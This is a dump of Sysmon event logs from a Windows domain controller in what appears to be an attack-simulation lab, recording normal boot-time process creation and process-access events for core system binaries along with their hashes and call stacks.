09:09:17.278{A5F018FF-28BD-5F80-0700-000000007F01}716720C:\Windows\system32\wininit.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\wininit.exe+94d2|C:\Windows\system32\wininit.exe+5977|C:\Windows\system32\wininit.exe+4b9b|C:\Windows\system32\wininit.exe+546c|C:\Windows\system32\wininit.exe+cb13|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000720Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.273{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\System32\services.exe10.0.14393.3383 (rs1_release.191125-1816)Services and Controller appMicrosoft® Windows® Operating SystemMicrosoft Corporationservices.exeC:\Windows\system32\services.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=457FD1B4ED8D29816560345AE5BA9B73,SHA256=D99AA02447946EFB935B11D21DF99AFDDA0955A588D6AAC42746DE73E1253956,IMPHASH=264C7CFAFE91682E421A605C58E86E40{A5F018FF-28BD-5F80-0700-000000007F01}716C:\Windows\System32\wininit.exewininit.exe 10341000x8000000000000000719Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.153{A5F018FF-28BD-5F80-0600-000000007F01}708712C:\Windows\System32\smss.exe{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\system32\winlogon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\SYSTEM32\ntdll.dll+8c3ce|C:\Windows\SYSTEM32\ntdll.dll+8c179|\SystemRoot\System32\smss.exe+2795|\SystemRoot\System32\smss.exe+2042|\SystemRoot\System32\smss.exe+1d5e|\SystemRoot\System32\smss.exe+1b09|\SystemRoot\System32\smss.exe+14cb|\SystemRoot\System32\smss.exe+130f|\SystemRoot\System32\smss.exe+1096|C:\Windows\SYSTEM32\ntdll.dll+6e87f 154100x8000000000000000718Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.141{A5F018FF-28BD-5F80-0900-000000007F01}800C:\Windows\System32\winlogon.exe10.0.14393.3204 (rs1_release.190830-1500)Windows Logon ApplicationMicrosoft® Windows® Operating SystemMicrosoft CorporationWINLOGON.EXEwinlogon.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e71SystemMD5=DEA4CE12F24601830083126E18A2C7C9,SHA256=F002F8C2EA49D21F242996E3D57F5FDD7995FE6DB524BB69BBD7F190CC0211A9,IMPHASH=3CF10D94C117DB4F6E9D523B93429D6D{A5F018FF-28BD-5F80-0600-000000007F01}708C:\Windows\System32\smss.exe- 10341000x8000000000000000717Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.138{A5F018FF-28BC-5F80-0200-000000007F01}448456C:\Windows\System32\smss.exe{A5F018FF-28BD-5F80-0800-000000007F01}724C:\Windows\system32\csrss.exe0x101441C:\Windows\SYSTEM32\ntdll.dll+a6a54|\SystemRoot\System32\smss.exe+3fee|\SystemRoot\System32\smss.exe+3b53|C:\Windows\SYSTEM32\ntdll.dll+28761|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000716Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.091{A5F018FF-28BC-5F80-0400-000000007F01}636640C:\Windows\System32\smss.exe{A5F018FF-28BD-5F80-0700-000000007F01}716C:\Windows\system32\wininit.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\SYSTEM32\ntdll.dll+8c3ce|C:\Windows\SYSTEM32\ntdll.dll+8c179|\SystemRoot\System32\smss.exe+2795|\SystemRoot\System32\smss.exe+2042|\SystemRoot\System32\smss.exe+1d5e|\SystemRoot\System32\smss.exe+1b09|\SystemRoot\System32\smss.exe+14cb|\SystemRoot\System32\smss.exe+130f|\SystemRoot\System32\smss.exe+1096|C:\Windows\SYSTEM32\ntdll.dll+6e87f 154100x8000000000000000715Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.088{A5F018FF-28BD-5F80-0700-000000007F01}716C:\Windows\System32\wininit.exe10.0.14393.2273 (rs1_release_1.180427-1811)Windows Start-Up ApplicationMicrosoft® Windows® Operating SystemMicrosoft CorporationWinInit.exewininit.exeC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=5A998F811D7805B79B8E769027F62FD2,SHA256=8694C5732D26921EEA29589A9FA4182139EF3D9EA6B6D0ACCA8994B4AA5DEFE5,IMPHASH=C8D526C4E61942E1B11AE4B7EE2DDE5D{A5F018FF-28BC-5F80-0400-000000007F01}636C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000000cc 0000007c 10341000x8000000000000000714Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.091{A5F018FF-28BD-5F80-0600-000000007F01}708712C:\Windows\System32\smss.exe{A5F018FF-28BD-5F80-0800-000000007F01}724C:\Windows\system32\csrss.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\SYSTEM32\ntdll.dll+8c3ce|C:\Windows\SYSTEM32\ntdll.dll+8c179|\SystemRoot\System32\smss.exe+2795|\SystemRoot\System32\smss.exe+1ee4|\SystemRoot\System32\smss.exe+20a1|\SystemRoot\System32\smss.exe+1c92|\SystemRoot\System32\smss.exe+1af6|\SystemRoot\System32\smss.exe+14cb|\SystemRoot\System32\smss.exe+130f|\SystemRoot\System32\smss.exe+1096|C:\Windows\SYSTEM32\ntdll.dll+6e87f 154100x8000000000000000713Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.091{A5F018FF-28BD-5F80-0800-000000007F01}724C:\Windows\System32\csrss.exe10.0.14393.2969 (rs1_release.190503-1820)Client Server Runtime ProcessMicrosoft® Windows® Operating SystemMicrosoft CorporationCSRSS.Exe%%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e71SystemMD5=955E9227AA30A08B7465C109B863B886,SHA256=D896480BC8523FAD3AE152C81A2B572022C3778A34A6D85E089D150A68E9165E,IMPHASH=273BC9D936389D79244E6E56BE5096B6{A5F018FF-28BD-5F80-0600-000000007F01}708C:\Windows\System32\smss.exe- 10341000x8000000000000000712Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.075{A5F018FF-28BC-5F80-0200-000000007F01}448456C:\Windows\System32\smss.exe{A5F018FF-28BD-5F80-0600-000000007F01}708C:\Windows\System32\smss.exe0x101441C:\Windows\SYSTEM32\ntdll.dll+a6a54|\SystemRoot\System32\smss.exe+3fee|\SystemRoot\System32\smss.exe+3b53|C:\Windows\SYSTEM32\ntdll.dll+28761|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000711Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.075{A5F018FF-28BC-5F80-0200-000000007F01}448456C:\Windows\System32\smss.exe{A5F018FF-28BD-5F80-0600-000000007F01}708C:\Windows\System32\smss.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\SYSTEM32\ntdll.dll+8c3ce|C:\Windows\SYSTEM32\ntdll.dll+8c179|\SystemRoot\System32\smss.exe+2795|\SystemRoot\System32\smss.exe+2042|\SystemRoot\System32\smss.exe+36ee|\SystemRoot\System32\smss.exe+c18e|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\SYSTEM32\ntdll.dll+6e87f 154100x8000000000000000710Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.086{A5F018FF-28BD-5F80-0600-000000007F01}708C:\Windows\System32\smss.exe10.0.14393.2969 (rs1_release.190503-1820)Windows Session ManagerMicrosoft® Windows® Operating SystemMicrosoft Corporationsmss.exe\SystemRoot\System32\smss.exe 000000bc 0000007c C:\Windows\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e71SystemMD5=725EC50D4B0F607BF5B45B5E0115770B,SHA256=56881BCAEAC350107A6453F38F020FE0E284DBE2E8A6F37ED482985E0DD98EA7,IMPHASH=09DDECA5943933973FE7DDDD24ED724A{A5F018FF-28BC-5F80-0200-000000007F01}448C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 10341000x8000000000000000709Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:17.075{A5F018FF-28BC-5F80-0200-000000007F01}448456C:\Windows\System32\smss.exe{A5F018FF-28BC-5F80-0500-000000007F01}644C:\Windows\system32\csrss.exe0x101441C:\Windows\SYSTEM32\ntdll.dll+a6a54|\SystemRoot\System32\smss.exe+3fee|\SystemRoot\System32\smss.exe+3b53|C:\Windows\SYSTEM32\ntdll.dll+28761|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000708Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:16.966{A5F018FF-28BC-5F80-0400-000000007F01}636640C:\Windows\System32\smss.exe{A5F018FF-28BC-5F80-0500-000000007F01}644C:\Windows\system32\csrss.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\SYSTEM32\ntdll.dll+8c3ce|C:\Windows\SYSTEM32\ntdll.dll+8c179|\SystemRoot\System32\smss.exe+2795|\SystemRoot\System32\smss.exe+1ee4|\SystemRoot\System32\smss.exe+20a1|\SystemRoot\System32\smss.exe+1c92|\SystemRoot\System32\smss.exe+1af6|\SystemRoot\System32\smss.exe+14cb|\SystemRoot\System32\smss.exe+130f|\SystemRoot\System32\smss.exe+1096|C:\Windows\SYSTEM32\ntdll.dll+6e87f 154100x8000000000000000707Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:16.970{A5F018FF-28BC-5F80-0500-000000007F01}644C:\Windows\System32\csrss.exe10.0.14393.2969 (rs1_release.190503-1820)Client Server Runtime ProcessMicrosoft® Windows® Operating SystemMicrosoft CorporationCSRSS.Exe%%SystemRoot%%\system32\csrss.exe ObjectDirectory=\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=955E9227AA30A08B7465C109B863B886,SHA256=D896480BC8523FAD3AE152C81A2B572022C3778A34A6D85E089D150A68E9165E,IMPHASH=273BC9D936389D79244E6E56BE5096B6{A5F018FF-28BC-5F80-0400-000000007F01}636C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 000000cc 0000007c 10341000x8000000000000000706Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:16.856{A5F018FF-28BC-5F80-0200-000000007F01}448632C:\Windows\System32\smss.exe{00000000-0000-0000-0000-000000000000}636C:\Windows\System32\smss.exe0x101441C:\Windows\SYSTEM32\ntdll.dll+a6a54|\SystemRoot\System32\smss.exe+3fee|\SystemRoot\System32\smss.exe+3b53|C:\Windows\SYSTEM32\ntdll.dll+28761|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000705Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:16.856{A5F018FF-28BC-5F80-0200-000000007F01}448632C:\Windows\System32\smss.exe{00000000-0000-0000-0000-000000000000}636C:\Windows\System32\smss.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\SYSTEM32\ntdll.dll+8c3ce|C:\Windows\SYSTEM32\ntdll.dll+8c179|\SystemRoot\System32\smss.exe+2795|\SystemRoot\System32\smss.exe+2042|\SystemRoot\System32\smss.exe+36ee|\SystemRoot\System32\smss.exe+c18e|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\SYSTEM32\ntdll.dll+6e87f 154100x8000000000000000704Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:16.862{A5F018FF-28BC-5F80-0400-000000007F01}636C:\Windows\System32\smss.exe10.0.14393.2969 (rs1_release.190503-1820)Windows Session ManagerMicrosoft® Windows® Operating SystemMicrosoft Corporationsmss.exe\SystemRoot\System32\smss.exe 000000cc 0000007c C:\Windows\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=725EC50D4B0F607BF5B45B5E0115770B,SHA256=56881BCAEAC350107A6453F38F020FE0E284DBE2E8A6F37ED482985E0DD98EA7,IMPHASH=09DDECA5943933973FE7DDDD24ED724A{A5F018FF-28BC-5F80-0200-000000007F01}448C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 10341000x8000000000000000703Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:16.310{A5F018FF-28BC-5F80-0200-000000007F01}448452C:\Windows\System32\smss.exe{A5F018FF-28BC-5F80-0300-000000007F01}588C:\Windows\system32\autochk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\SYSTEM32\ntdll.dll+8c3ce|C:\Windows\SYSTEM32\ntdll.dll+8c179|\SystemRoot\System32\smss.exe+2795|\SystemRoot\System32\smss.exe+4f84|\SystemRoot\System32\smss.exe+20b6|\SystemRoot\System32\smss.exe+65b2|\SystemRoot\System32\smss.exe+a3bb|\SystemRoot\System32\smss.exe+1652|\SystemRoot\System32\smss.exe+130f|\SystemRoot\System32\smss.exe+1096|C:\Windows\SYSTEM32\ntdll.dll+6e87f 154100x8000000000000000702Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:16.295{A5F018FF-28BC-5F80-0300-000000007F01}588C:\Windows\System32\autochk.exe10.0.14393.2969 (rs1_release.190503-1820)Auto Check UtilityMicrosoft® Windows® Operating SystemMicrosoft CorporationAutoChk.Exe\??\C:\Windows\system32\autochk.exe /q /v *C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=33900CEB40D3ECD3504F1DD287428B49,SHA256=A279FC9CECA961D9040AA69F06A0A78B530E21C788C7D7590E866EFC447E979B,IMPHASH=1BF5E4792E849FE3BCFE23E7C1B21A3F{A5F018FF-28BC-5F80-0200-000000007F01}448C:\Windows\System32\smss.exe\SystemRoot\System32\smss.exe 13241300x8000000000000000701Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localContext,DeviceConntectedOrUpdatedSetValue2020-10-09 09:09:16.263{A5F018FF-28BC-5F80-0100-000000007F01}4SystemHKLM\System\CurrentControlSet\Enum\XENVIF\VEN_XS0001&DEV_NET&REV_0000000B\0\FriendlyNameAWS PV Network Device #0 434400x8000000000000000700Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local2020-10-09 09:09:35.460Started12.04.40 10341000x80000000000000001853Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.856{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+261b7|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x80000000000000001852Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.856{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+25d35|C:\Windows\system32\wbem\wmiprvsd.dll+2619d|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029 10341000x80000000000000001851Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.856{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+2a2f2|C:\Windows\system32\wbem\wmiprvsd.dll+29e26|C:\Windows\system32\wbem\wmiprvsd.dll+28432|C:\Windows\system32\wbem\wmiprvsd.dll+281af|C:\Windows\system32\wbem\wmiprvsd.dll+2982c|C:\Windows\system32\wbem\wmiprvsd.dll+292fb|C:\Windows\system32\wbem\wmiprvsd.dll+26165|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac 10341000x80000000000000001850Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.856{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+2597b|C:\Windows\system32\wbem\wmiprvsd.dll+283dc|C:\Windows\system32\wbem\wmiprvsd.dll+281af|C:\Windows\system32\wbem\wmiprvsd.dll+2982c|C:\Windows\system32\wbem\wmiprvsd.dll+292fb|C:\Windows\system32\wbem\wmiprvsd.dll+26165|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c 10341000x80000000000000001849Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.856{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+264a1|C:\Windows\system32\wbem\wmiprvsd.dll+2669f|C:\Windows\system32\wbem\wmiprvsd.dll+25c4b|C:\Windows\system32\wbem\wmiprvsd.dll+27476|C:\Windows\system32\wbem\wmiprvsd.dll+27db2|C:\Windows\system32\wbem\wmiprvsd.dll+277c9|C:\Windows\system32\wbem\wmiprvsd.dll+26100|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac 10341000x80000000000000001848Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.856{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+264a1|C:\Windows\system32\wbem\wmiprvsd.dll+2669f|C:\Windows\system32\wbem\wmiprvsd.dll+25c4b|C:\Windows\system32\wbem\wmiprvsd.dll+27476|C:\Windows\system32\wbem\wmiprvsd.dll+27db2|C:\Windows\system32\wbem\wmiprvsd.dll+277c9|C:\Windows\system32\wbem\wmiprvsd.dll+26100|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac 10341000x80000000000000001847Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.856{A5F018FF-28CF-5F80-3300-000000007F01}26243332C:\Windows\system32\DFSRs.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmidcprv.dll+163a4|C:\Windows\system32\wbem\wmidcprv.dll+166e0|C:\Windows\system32\wbem\wmidcprv.dll+abad|C:\Windows\system32\wbem\wmidcprv.dll+b57e|C:\Windows\system32\wmidcom.dll+58a6|C:\Windows\system32\wmidcom.dll+5464|C:\Windows\system32\wmidcom.dll+5495|C:\Windows\SYSTEM32\ntdll.dll+2b9ae|C:\Windows\SYSTEM32\ntdll.dll+29bc4|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001846Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.840{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+261b7|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x80000000000000001845Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:36.840{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3300-000000007F01}2624C:\Windows\system32\DFSRs.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+25d35|C:\Windows\system32\wbem\wmiprvsd.dll+2619d|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\combase.dll+2310|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029 10341000x80000000000000001844Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 